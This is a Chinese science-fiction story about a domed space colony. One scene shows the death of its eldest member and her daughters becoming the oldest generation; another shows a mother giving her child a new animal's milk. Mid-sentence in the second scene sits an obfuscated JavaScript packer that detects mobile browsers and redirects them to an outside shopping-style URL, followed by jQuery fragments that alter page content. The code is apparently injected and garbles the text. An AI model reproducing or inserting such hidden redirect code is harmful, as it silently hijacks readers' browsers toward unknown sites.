星历45年·第三穹顶·生命循环观测室
莉亚已经很久不看监测仪了。那些跳动的数字,远不如窗外星海棠的投影来得真实。
女儿林音跪在床边,握着她枯瘦的手,没有说话。该说的话,在过去的几个月里,已经说完了从地球到金星那么长的距离。
她将一朵新摘的星海棠,轻轻放在母亲摊开的手掌上。
粉白的花瓣,衬着布满工具伤痕的皮肤,柔软得近乎残忍。
莉亚的手指,几不可察地蜷了一下,触碰到花瓣。
她浑浊的目光,缓慢地移到窗边,那里站着小芽,文明的第一个孩子,小芽的手里,也握着一朵相同的花。
她的目光温柔地越过小芽的肩膀,看向病房窗外的走廊——那里,一个穿着工装、手里拿着数据板、和林音年纪相仿的姑娘正快步走过;更远处,儿童区的灯光暖黄,传来模糊的笑语。
而这正是她毕生奋斗所期望看到的最后景象。
莉亚的嘴角,极其轻微地,动了一下。
那是一种卸下重担后心满意足的平静。
然后,她闭上了眼睛。
呼吸,一丝一丝地平息下去。
监测仪的长音响起,平稳而单调,融入循环系统永恒的底噪。
林音与小芽一起将手按在心口。两人并肩而立,影子被暮色拉长,投在地面上。
没有人说话。语言在此刻是轻浮的。
许久之后,小芽伸出手,轻轻握住了林音冰凉的手指。
握得很紧,就像许多年前,她们还是孩子时,在训练室里,一个人摔倒前总会这样抓住另一个人。
林音回握过去,指尖传来同样细微的颤抖。
这时,观测室的门被无声地滑开。
两名穿着浅灰色制服、袖标上有蓝叶与循环箭头标志的生态回归员走了进来。她们向小芽和林音微微点头,目光平静而专业。在这里,死亡是生命循环中一个被充分理解的环节。
林音深吸一口气,松开了小芽的手。她们一起向后退了几步,然后再次将手放在心口上。
回归员上前,动作熟练轻柔地将白单覆盖过莉亚安详的面容。
她们沉默地看着母亲被平稳地移上担架车,看着那抹白色的轮廓被推出门,沿着走廊,滑向物质循环中心的方向。
在那里,遗体的有机质将成为新一轮作物生长的养分,骨骼会被回收熔炼。莉亚将真正地、彻底地,融入这片她为之奋斗终生的文明。
门轻轻合上。
房间陷入一种过于空旷的寂静。
她们一同望向窗外。
穹顶之下,星海棠已在暮色中收敛花瓣,光粒子仿佛永无止境地终年洒落;循环系统的灯光逐次亮起,勾勒出她们出生以来就熟悉的、钢铁与生命的轮廓。
但有什么东西不一样了。
从前,无论发生什么,总有一代人在她们前面。她们是女儿,是未来,是被守护者。
而现在,前面空了。
从今天起,她们就是文明最年长的人了。
这个认知成为一股冰冷的、实实在在的重量,缓缓沉入她们的骨髓。
小芽吸了一口气,第一次,用不是女儿、而是星球上最年长者的声音,轻声说:
“……该去检查夜间的循环系统了。”
林音点了点头。
她们最后看了一眼空了的病床,然后转过身,肩并着肩,走向那个突然变得无比庞大、又无比需要她们的、等待运转的夜晚。
脚下的循环没有变。
但守护它的肩膀,换了。
星历46年·第七穹顶·家庭隔间
娜拉接过同单元的瑞初从恒温箱里取出的一小瓶哞哞兽奶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347348|199533||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
瑞初是和她同一批“辉夜姬”计划的母亲,两人的女儿相差三个月。一起育儿,一起值班,分享配给,已经两年。
“农业组的人说,”瑞初把瓶子递给她,声音里带着罕见的雀跃,“可能有点腥,但绝对安全。”
女儿刚学会走路不久,正咿咿呀呀地绕着社区公园里的星海棠打转。
娜拉拧开瓶盖,凑近闻了闻。一种陌生的、带着微膻却浓郁到几乎有触感的香气,冲进鼻腔。
不是青凝那种熟悉的清苦,也不是马铃薯那种朴素的踏实。是某种……澎湃的、活着的东西。
是某种她活了二十二年,从未被味觉告知活着可以如此理直气壮的东西。
女儿摇摇摆摆走到她面前:“妈妈?”
娜拉小心地倒了一点在瓶盖里。
“来,尝尝这个哞哞奶。”她蹲下,声音是自己都未察觉的轻柔。
女儿好奇地舔了一口。
愣住了。小小的眉头皱成一团,像是被这陌生的味道吓到了。
母亲的心微微一沉。
然后,女儿伸出小舌头,又舔了一下。
再一下。
最后,她双手捧住瓶盖,像捧着整个宇宙的珍宝,咕咚咕咚喝了起来。乳白的痕迹沾满了下巴。
喝完了,她打了个小小的、满足的嗝,抬头,眼睛亮得像刚点亮的星辰。
她伸出小小的手指,指向那片粉白蓝——
“妈妈,”她宣布,“花!”
又指了指瓶子:
“花花……哞!”
娜拉一把抱住她,把脸埋进孩子带着奶香的颈窝里。
那天晚上,她仔细清理了瓶子。
瓶壁在循环灯光下泛着温润的光,是一份来自明天的配给凭证。
明天,她要带着这个空瓶,去换一份新的希望。